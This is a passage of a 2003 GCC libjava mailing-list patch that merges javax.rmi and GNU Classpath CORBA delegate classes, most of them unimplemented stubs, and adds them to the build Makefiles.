Mar 2003 14:22:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 467004F867C; Sat, 29 Mar 2003 14:17:45 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: javax.rmi merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: You must be a CUB SCOUT!! Have you made your MONEY-DROP today?? Date: 29 Mar 2003 14:17:44 -0700 Message-ID: <87smt550uf.fsf@fleche.redhat.com> Lines: 1889 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This pulls in javax.rmi and supporting files from classpath. I've added these to the comparison script as well (they'll "not show up" with the next automated comparison). I'm also sneaking in a small whitespace change. Tom Index: ChangeLog from Tom Tromey * java/text/MessageFormat.java: Removed some whitespace. * Makefile.in: Rebuilt. * Makefile.am (awt_java_source_files): Added new files. * gnu/javax/rmi/PortableServer.java, gnu/javax/rmi/CORBA/DelegateFactory.java, gnu/javax/rmi/CORBA/GetDelegateInstanceException.java, gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java, gnu/javax/rmi/CORBA/StubDelegateImpl.java, gnu/javax/rmi/CORBA/UtilDelegateImpl.java, gnu/javax/rmi/CORBA/ValueHandlerImpl.java, javax/rmi/BAD_OPERATION.java, javax/rmi/ORB.java, javax/rmi/PortableRemoteObject.java, javax/rmi/CORBA/ClassDesc.java, javax/rmi/CORBA/ObjectImpl.java, javax/rmi/CORBA/PortableRemoteObjectDelegate.java, javax/rmi/CORBA/Stub.java, javax/rmi/CORBA/StubDelegate.java, javax/rmi/CORBA/SystemException.java, javax/rmi/CORBA/Tie.java, javax/rmi/CORBA/Util.java, javax/rmi/CORBA/UtilDelegate.java, javax/rmi/CORBA/ValueHandler.java: New files from Classpath. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.289 diff -u -r1.289 Makefile.am --- Makefile.am 26 Mar 2003 22:31:52 -0000 1.289 +++ Makefile.am 29 Mar 2003 21:20:18 -0000 @@ -767,6 +767,13 @@ gnu/java/beans/EmptyBeanInfo.java \ gnu/java/beans/ExplicitBeanInfo.java \ gnu/java/beans/IntrospectionIncubator.java \ +gnu/javax/rmi/CORBA/DelegateFactory.java \ +gnu/javax/rmi/CORBA/GetDelegateInstanceException.java \ +gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java \ +gnu/javax/rmi/CORBA/StubDelegateImpl.java \ +gnu/javax/rmi/CORBA/UtilDelegateImpl.java \ +gnu/javax/rmi/CORBA/ValueHandlerImpl.java \ +gnu/javax/rmi/PortableServer.java \ java/applet/Applet.java \ java/applet/AppletStub.java \ java/applet/AppletContext.java \ @@ -1123,6 +1130,19 @@ java/beans/VetoableChangeSupport.java \ java/beans/Visibility.java \ java/beans/AppletInitializer.java \ +javax/rmi/BAD_OPERATION.java \ +javax/rmi/ORB.java \ +javax/rmi/PortableRemoteObject.java \ +javax/rmi/CORBA/ClassDesc.java \ +javax/rmi/CORBA/ObjectImpl.java \ +javax/rmi/CORBA/PortableRemoteObjectDelegate.java \ +javax/rmi/CORBA/StubDelegate.java \ +javax/rmi/CORBA/Stub.java \ +javax/rmi/CORBA/SystemException.java \ +javax/rmi/CORBA/Tie.java \ +javax/rmi/CORBA/UtilDelegate.java \ +javax/rmi/CORBA/Util.java \ +javax/rmi/CORBA/ValueHandler.java \ javax/swing/border/AbstractBorder.java \ javax/swing/border/Border.java \ javax/swing/border/CompoundBorder.java \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.310 diff -u -r1.310 Makefile.in --- Makefile.in 26 Mar 2003 22:31:52 -0000 1.310 +++ Makefile.in 29 Mar 2003 21:20:20 -0000 @@ -536,6 +536,13 @@ gnu/java/beans/EmptyBeanInfo.java \ gnu/java/beans/ExplicitBeanInfo.java \ gnu/java/beans/IntrospectionIncubator.java \ +gnu/javax/rmi/CORBA/DelegateFactory.java \ +gnu/javax/rmi/CORBA/GetDelegateInstanceException.java \ +gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java \ +gnu/javax/rmi/CORBA/StubDelegateImpl.java \ +gnu/javax/rmi/CORBA/UtilDelegateImpl.java \ +gnu/javax/rmi/CORBA/ValueHandlerImpl.java \ +gnu/javax/rmi/PortableServer.java \ java/applet/Applet.java \ java/applet/AppletStub.java \ java/applet/AppletContext.java \ @@ -892,6 +899,19 @@ java/beans/VetoableChangeSupport.java \ java/beans/Visibility.java \ java/beans/AppletInitializer.java \ +javax/rmi/BAD_OPERATION.java \ +javax/rmi/ORB.java \ +javax/rmi/PortableRemoteObject.java \ +javax/rmi/CORBA/ClassDesc.java \ +javax/rmi/CORBA/ObjectImpl.java \ +javax/rmi/CORBA/PortableRemoteObjectDelegate.java \ +javax/rmi/CORBA/StubDelegate.java \ +javax/rmi/CORBA/Stub.java \ +javax/rmi/CORBA/SystemException.java \ +javax/rmi/CORBA/Tie.java \ +javax/rmi/CORBA/UtilDelegate.java \ +javax/rmi/CORBA/Util.java \ +javax/rmi/CORBA/ValueHandler.java \ javax/swing/border/AbstractBorder.java \ javax/swing/border/Border.java \ javax/swing/border/CompoundBorder.java \ @@ -2984,7 +3004,14 @@ .deps/gnu/java/util/prefs/MemoryBasedFactory.P \ .deps/gnu/java/util/prefs/MemoryBasedPreferences.P \ .deps/gnu/java/util/prefs/NodeReader.P \ -.deps/gnu/java/util/prefs/NodeWriter.P .deps/interpret.P \ +.deps/gnu/java/util/prefs/NodeWriter.P \ +.deps/gnu/javax/rmi/CORBA/DelegateFactory.P \ +.deps/gnu/javax/rmi/CORBA/GetDelegateInstanceException.P \ +.deps/gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.P \ +.deps/gnu/javax/rmi/CORBA/StubDelegateImpl.P \ +.deps/gnu/javax/rmi/CORBA/UtilDelegateImpl.P \ +.deps/gnu/javax/rmi/CORBA/ValueHandlerImpl.P \ +.deps/gnu/javax/rmi/PortableServer.P .deps/interpret.P \ .deps/java/applet/Applet.P .deps/java/applet/AppletContext.P \ .deps/java/applet/AppletStub.P .deps/java/applet/AudioClip.P \ .deps/java/awt/AWTError.P .deps/java/awt/AWTEvent.P \ @@ -3824,6 +3851,14 @@ .deps/javax/print/attribute/Attribute.P \ .deps/javax/print/attribute/AttributeSet.P \ .deps/javax/print/attribute/PrintRequestAttributeSet.P \ +.deps/javax/rmi/BAD_OPERATION.P .deps/javax/rmi/CORBA/ClassDesc.P \ +.deps/javax/rmi/CORBA/ObjectImpl.P \ +.deps/javax/rmi/CORBA/PortableRemoteObjectDelegate.P \ +.deps/javax/rmi/CORBA/Stub.P .deps/javax/rmi/CORBA/StubDelegate.P \ +.deps/javax/rmi/CORBA/SystemException.P .deps/javax/rmi/CORBA/Tie.P \ +.deps/javax/rmi/CORBA/Util.P .deps/javax/rmi/CORBA/UtilDelegate.P \ +.deps/javax/rmi/CORBA/ValueHandler.P .deps/javax/rmi/ORB.P \ +.deps/javax/rmi/PortableRemoteObject.P \ .deps/javax/sql/ConnectionEvent.P \ .deps/javax/sql/ConnectionEventListener.P \ .deps/javax/sql/ConnectionPoolDataSource.P .deps/javax/sql/DataSource.P \ Index: gnu/javax/rmi/PortableServer.java =================================================================== RCS file: gnu/javax/rmi/PortableServer.java diff -N gnu/javax/rmi/PortableServer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/PortableServer.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,142 @@ +/* PortableServer.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi; + +import java.util.Hashtable; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.NoSuchObjectException; +import java.rmi.server.ExportException; +import java.rmi.server.UnicastRemoteObject; +import java.rmi.server.RemoteStub; +import javax.rmi.CORBA.*; +//import org.omg.CORBA.portable.ObjectImpl; + +/** + * The relationship of PortableRemoteObjectImpl with PortableServer + * is like that of UnicastRemoteObject with UnicastServer + */ +public class PortableServer +{ + static private Hashtable tieCache = new Hashtable(); + static private Object NO_TIE = new Object(); + + public static final synchronized void exportObject(Remote obj) + throws RemoteException + { + if(Util.getTie(obj) != null) + return; + + Tie tie = getTieFromRemote(obj); + if (tie != null) + Util.registerTarget(tie, obj); + else + UnicastRemoteObject.exportObject(obj); + } + + public static final void unexportObject(Remote obj) + { + if (Util.getTie(obj) != null) + Util.unexportObject(obj); + if (tieCache.get(obj) != null) //?? + tieCache.remove(obj); + } + + public static final Remote toStub(Remote obj) + throws NoSuchObjectException + { + if (obj instanceof Stub || obj instanceof RemoteStub) + return obj; + + Tie tie = Util.getTie(obj); + Remote stub; + if (tie != null) + stub = getStubFromTie(tie); + else + throw new NoSuchObjectException("Can't toStub an unexported object"); + return stub; + } + + static synchronized Tie getTieFromRemote(Remote obj) + { + Object tie = tieCache.get(obj); + if (tie == null) + { + tie = getTieFromClass(obj.getClass()); + if(tie == null) + tieCache.put(obj, NO_TIE); + else + tieCache.put(obj, tie); + } + else + if(tie != NO_TIE) + { + try + { + tie = obj.getClass().newInstance(); + } + catch(Exception _) + { + tie = null; + } + } + else //NO_TIE + tie = null; + + return (Tie)tie; + } + + static synchronized Tie getTieFromClass(Class clz) + { + //FIX ME + return null; + } + + public static Remote getStubFromTie(Tie tie) + { + //FIX ME + return null; + } + + public static Remote getStubFromObjectImpl(ObjectImpl objimpl, Class toClass) + { + //FIX ME + return null; + } +} Index: gnu/javax/rmi/CORBA/DelegateFactory.java =================================================================== RCS file: gnu/javax/rmi/CORBA/DelegateFactory.java diff -N gnu/javax/rmi/CORBA/DelegateFactory.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/DelegateFactory.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,74 @@ +/* DelegateFactory.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.util.HashMap; +import javax.rmi.CORBA.Util; + +public class DelegateFactory +{ + private static HashMap cache = new HashMap(4); + + public static synchronized Object getInstance(String type) + throws GetDelegateInstanceException + { + Object r = cache.get(type); + if (r != null) + return r; + String dcname = System.getProperty("javax.rmi.CORBA." + type + "Class"); + if (dcname == null) + { + //throw new DelegateException + // ("no javax.rmi.CORBA.XXXClass property sepcified."); + dcname = "gnu.javax.rmi.CORBA." + type + "DelegateImpl"; + } + try + { + Class dclass = Class.forName(dcname); + r = dclass.newInstance(); + cache.put(type, r); + return r; + } + catch(Exception e) + { + throw new GetDelegateInstanceException + ("Exception when trying to get delegate instance:" + dcname, e); + } + } +} Index: gnu/javax/rmi/CORBA/GetDelegateInstanceException.java =================================================================== RCS file: gnu/javax/rmi/CORBA/GetDelegateInstanceException.java diff -N gnu/javax/rmi/CORBA/GetDelegateInstanceException.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/GetDelegateInstanceException.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,58 @@ +/* GetDelegateInstanceException.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.io.PrintStream; +import java.io.PrintWriter; + +public class GetDelegateInstanceException + extends Exception +{ + private Throwable next; + + public GetDelegateInstanceException(String msg) + { + super(msg); + } + + public GetDelegateInstanceException(String msg, Throwable next) + { + super(msg, next); + } +} Index: gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java =================================================================== RCS file: gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java diff -N gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/PortableRemoteObjectDelegateImpl.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,133 @@ +/* PortableRemoteObjectDelegateImpl.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.rmi.*; +import java.rmi.server.*; +import gnu.javax.rmi.*; +import javax.rmi.CORBA.*; + +public class PortableRemoteObjectDelegateImpl + implements PortableRemoteObjectDelegate +{ + + public PortableRemoteObjectDelegateImpl() + { + } + + public void connect(Remote remote, Remote remote1) + throws RemoteException + { + throw new Error("Not implemented for PortableRemoteObjectDelegateImpl"); + } + + public void exportObject(Remote obj) + throws RemoteException + { + PortableServer.exportObject(obj); + } + + public Object narrow(Object narrowFrom, Class narrowTo) + throws ClassCastException + { + if (narrowTo == null) + throw new ClassCastException("Can't narrow to null class"); + if (narrowFrom == null) + return null; + + Class fromClass = narrowFrom.getClass(); + Object result = null; + + try + { + if (narrowTo.isAssignableFrom(fromClass)) + result = narrowFrom; + else + { + System.out.println("We still haven't implement this case: narrow " + + narrowFrom + " of type " + fromClass + " to " + + narrowTo); + Class[] cs = fromClass.getInterfaces(); + for (int i = 0; i < cs.length; i++) + System.out.println(cs[i]); + Exception e1 = new Exception(); + try + { + throw e1; + } + catch(Exception ee) + { + ee.printStackTrace(); + } + System.exit(2); + //throw new Error("We still haven't implement this case: narrow " + // + narrowFrom + " of type " + fromClass + " to " + // + narrowTo); + /* + ObjectImpl objimpl = (ObjectImpl)narrowFrom; + if(objimpl._is_a(PortableServer.getTypeName(narrowTo))) + result = PortableServer.getStubFromObjectImpl(objimpl, narrowTo); + */ + } + } + catch(Exception e) + { + result = null; + } + + if (result == null) + throw new ClassCastException("Can't narrow from " + + fromClass + " to " + narrowTo); + + return result; + } + + public Remote toStub(Remote obj) + throws NoSuchObjectException + { + return PortableServer.toStub(obj); + } + + public void unexportObject(Remote obj) + throws NoSuchObjectException + { + PortableServer.unexportObject(obj); + } + +} Index: gnu/javax/rmi/CORBA/StubDelegateImpl.java =================================================================== RCS file: gnu/javax/rmi/CORBA/StubDelegateImpl.java diff -N gnu/javax/rmi/CORBA/StubDelegateImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/StubDelegateImpl.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,113 @@ +/* StubDelegateImpl.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +//import org.omg.CORBA.portable.Delegate; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; +//import org.omg.CORBA_2_3.portable.ObjectImpl; +//import org.omg.CORBA.portable.ObjectImpl; +//import org.omg.CORBA.BAD_OPERATION; +//import org.omg.CORBA.ORB; +import java.rmi.RemoteException; +import javax.rmi.CORBA.Stub; +import javax.rmi.CORBA.StubDelegate; +import javax.rmi.CORBA.Tie; +import javax.rmi.CORBA.StubDelegate; + +public class StubDelegateImpl + implements StubDelegate +{ + + private int hashCode; + + public StubDelegateImpl(){ + hashCode = 0; + } + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + public void connect(Stub self, javax.rmi.ORB orb) + throws RemoteException + { + throw new Error("Not implemented for StubDelegate"); + } + + public boolean equals(Stub self, Object obj) + { + if(self == null || obj == null) + return self == obj; + if(!(obj instanceof Stub)) + return false; + return self.hashCode() == ((Stub)obj).hashCode(); + } + + public int hashCode(Stub self) + { + //FIX ME + return hashCode; + } + + public String toString(Stub self) + { + try + { + return self._orb().object_to_string(self); + } + // XXX javax.rmi.BAD_OPERATION -> org.omg.CORBA.BAD_OPERATION + catch(javax.rmi.BAD_OPERATION bad_operation) + { + return null; + } + } + + public void readObject(Stub self, ObjectInputStream s) + throws IOException, ClassNotFoundException + { + throw new Error("Not implemented for StubDelegate"); + } + + public void writeObject(Stub self, ObjectOutputStream s) + throws IOException + { + throw new Error("Not implemented for StubDelegate"); + } + +} Index: gnu/javax/rmi/CORBA/UtilDelegateImpl.java =================================================================== RCS file: gnu/javax/rmi/CORBA/UtilDelegateImpl.java diff -N gnu/javax/rmi/CORBA/UtilDelegateImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/UtilDelegateImpl.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,152 @@ +/* UtilDelegateImpl.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.server.RMIClassLoader; +import java.net.MalformedURLException; +import java.io.*; +//import org.omg.CORBA.ORB; +//import org.omg.CORBA.SystemException; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; +import javax.rmi.CORBA.*; + +public class UtilDelegateImpl + implements UtilDelegate +{ + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + public Object copyObject(Object obj, javax.rmi.ORB orb) + throws RemoteException + { + throw new Error("Not implemented for UtilDelegate"); + } + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + public Object[] copyObjects(Object obj[], javax.rmi.ORB orb) + throws RemoteException + { + throw new Error("Not implemented for UtilDelegate"); + } + + public ValueHandler createValueHandler() + { + throw new Error("Not implemented for UtilDelegate"); + } + + public String getCodebase(Class clz) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public Tie getTie(Remote target) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public boolean isLocal(Stub stub) + throws RemoteException + { + throw new Error("Not implemented for UtilDelegate"); + } + + public Class loadClass(String className, String remoteCodebase, + ClassLoader loader) + throws ClassNotFoundException + { + try{ + if (remoteCodebase == null) + return RMIClassLoader.loadClass(className); + else + return RMIClassLoader.loadClass(remoteCodebase, className); + } + catch (MalformedURLException e1) + { + throw new ClassNotFoundException(className, e1); + } + catch(ClassNotFoundException e2) + { + if(loader != null) + return loader.loadClass(className); + else + return null; + } + } + + public RemoteException mapSystemException(SystemException ex) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public Object readAny(InputStream in) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public void registerTarget(Tie tie, Remote target) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public void unexportObject(Remote target) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public RemoteException wrapException(Throwable orig) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public void writeAbstractObject(OutputStream out, Object obj) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public void writeAny(OutputStream out, Object obj) + { + throw new Error("Not implemented for UtilDelegate"); + } + + public void writeRemoteObject(OutputStream out, Object obj) + { + throw new Error("Not implemented for UtilDelegate"); + } +} Index: gnu/javax/rmi/CORBA/ValueHandlerImpl.java =================================================================== RCS file: gnu/javax/rmi/CORBA/ValueHandlerImpl.java diff -N gnu/javax/rmi/CORBA/ValueHandlerImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/javax/rmi/CORBA/ValueHandlerImpl.java 29 Mar 2003 21:20:20 -0000 @@ -0,0 +1,82 @@ +/* ValueHandlerImpl.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package gnu.javax.rmi.CORBA; + +import java.io.*; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; +//import org.omg.SendingContext.RunTime; +import javax.rmi.CORBA.ValueHandler; + +public class ValueHandlerImpl + implements ValueHandler +{ + + public String getRMIRepositoryID(Class clz) + { + throw new Error("Not implemented for ValueHandler"); + } + + // XXX - Runtime -> RunTime + public Runtime getRunTimeCodeBase() + { + throw new Error("Not implemented for ValueHandler"); + } + + public boolean isCustomMarshaled(Class clz) + { + throw new Error("Not implemented for ValueHandler"); + } + + // XXX - Runtime -> RunTime + public Serializable readValue(InputStream in, int offset, Class clz, String repositoryID, Runtime sender) + { + throw new Error("Not implemented for ValueHandler"); + } + + public Serializable writeReplace(Serializable value) + { + throw new Error("Not implemented for ValueHandler"); + } + + public void writeValue(OutputStream out, Serializable value) + { + throw new Error("Not implemented for ValueHandler"); + } +} Index: java/text/MessageFormat.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/text/MessageFormat.java,v retrieving revision 1.12 diff -u -r1.12 MessageFormat.java --- java/text/MessageFormat.java 21 Mar 2003 09:00:29 -0000 1.12 +++ java/text/MessageFormat.java 29 Mar 2003 21:20:20 -0000 @@ -144,7 +144,7 @@ public class MessageFormat extends Format { private static final long serialVersionUID = 6479157306784022952L; - + // Helper that returns the text up to the next format opener. The // text is put into BUFFER. Returns index of character after end of // string. Throws IllegalArgumentException on error. Index: javax/rmi/BAD_OPERATION.java =================================================================== RCS file: javax/rmi/BAD_OPERATION.java diff -N javax/rmi/BAD_OPERATION.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/BAD_OPERATION.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,4 @@ +package javax.rmi; + +/** XXX - Stub till we have org.omg.CORBA */ +public class BAD_OPERATION extends Exception { } Index: javax/rmi/ORB.java =================================================================== RCS file: javax/rmi/ORB.java diff -N javax/rmi/ORB.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/ORB.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,4 @@ +package javax.rmi; + +/** XXX - Stub till we have org.omg.CORBA */ +public class ORB { } Index: javax/rmi/PortableRemoteObject.java =================================================================== RCS file: javax/rmi/PortableRemoteObject.java diff -N javax/rmi/PortableRemoteObject.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/PortableRemoteObject.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,114 @@ +/* PortableRemoteObject.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that 